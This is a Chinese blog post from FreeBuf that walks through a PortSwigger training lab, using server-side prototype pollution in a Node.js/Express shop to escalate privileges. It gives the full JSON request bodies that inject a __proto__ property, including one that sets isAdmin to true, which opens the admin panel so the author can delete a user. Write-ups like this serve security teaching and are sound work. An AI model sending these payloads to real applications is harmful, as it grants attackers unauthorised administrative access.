freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

通过服务器端原型污染提升权限-污染属性反射
2023-08-30 09:15:25

Lab: Privilege escalation via server-side prototype pollution

必要知识点

开发人员很容易陷入的一个陷阱是忘记或忽略JavaScript循环迭代对象的所有可枚举属性这一事实,包括它通过原型链继承的属性。
利用POSTPUT方法向应用程序或API提交JSON数据处容易存在该类漏洞。如果应用程序在发送JSON数据后在响应中包含返回的属性,可以尝试使用任意属性污染全局来探测该漏洞是否存在。

实验室要求

本练习基于Node.jsExpress框架构建。它容易受到服务器端原型污染的影响,因为它不安全地将用户可控制的输入合并到服务器端JavaScript对象中。这很容易检测,因为通过原型链继承的任何污染属性在HTTP响应中都是可见的。
要解决实验室问题,请执行以下操作:

  1. 查找可用于全局Object.prototype

  2. 确定可用于提升权限的小工具属性。

  3. 访问管理面板并删除carlos用户 。
    您可以使用以下凭据登录到自己的帐户:wiener:peter

⚡️黑盒测试

● 首先访问对应的靶场界面

https://portswigger.net/web-security/prototype-pollution/server-side/lab-privilege-escalation-via-server-side-prototype-pollution

● 启动靶场

1. 分析功能点

这是一个购物SHOP的网站,存在登录以及查看商品信息的功能点。
利用对应的账号密码wiener:peter进行登录

登录之后存在填写收获地址的功能点,较为符合购物网站的逻辑。

2.查看历史记录

我们查看对应的burp历史记录
令人感兴趣的功能点是最后点击地址的时候,发现存在一处isAdmin
对于渗透测试人员来说,存在Admin类的内容是需要重点关注的


#####3.功能点探究

点击提交表单之后,字段中的数据将会作为json发送到服务器端(一共五个参数)

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L"}

服务器对于接受到的数据会进行响应,响应的内容似乎就是我自己这个用户
相比较而言,多了username``firstname``lastname``isAdmin的参数

HTTP/1.1 200 OK

{"username":"wiener","firstname":"Peter","lastname":"Wiener","address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","isAdmin":false}

#####4.原型污染尝试
因为在该处功能点之中是以POST请求提交了JSON参数,并且在回显的响应中包含了返回的属性,因此进行服务器端原型污染的探测。
构造注入响应__proto__

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
		"foo":"bar"
	}
}

利用burp的重放模块发现存在服务器端原型污染漏洞
判定该网站易受攻击,注入的属性将出现在响应的更新对象中


#####5.漏洞利用
确定可以服务器端原型污染的问题之后,我们可以利用这个问题扩大战果
isAdmin参数为false就很像越权问题,尝试构造权限提升false->true

POST /my-account/change-address

{"address_line_1":"Wiener HQ","address_line_2":"One Wiener Way","city":"Wienerville","postcode":"BU1 1RP","country":"UK","sessionId":"13fCt30FePQKqB6vxfWNG0Rk9CJt9F7L",
"__proto__":{
		"isAdmin":"true"
	}
}

发送请求之后,发现响应进行了更新。
表明isAdmin对象没有自己的属性,而是从受污染的原型继承了它。

通常权限提升之后,我们就可以看到更多的内容,访问个人用户发现多了一个功能点Admin panel

点击删除carlos用户

完成实验

# 渗透测试 # 黑客 # 网络安全 # web安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者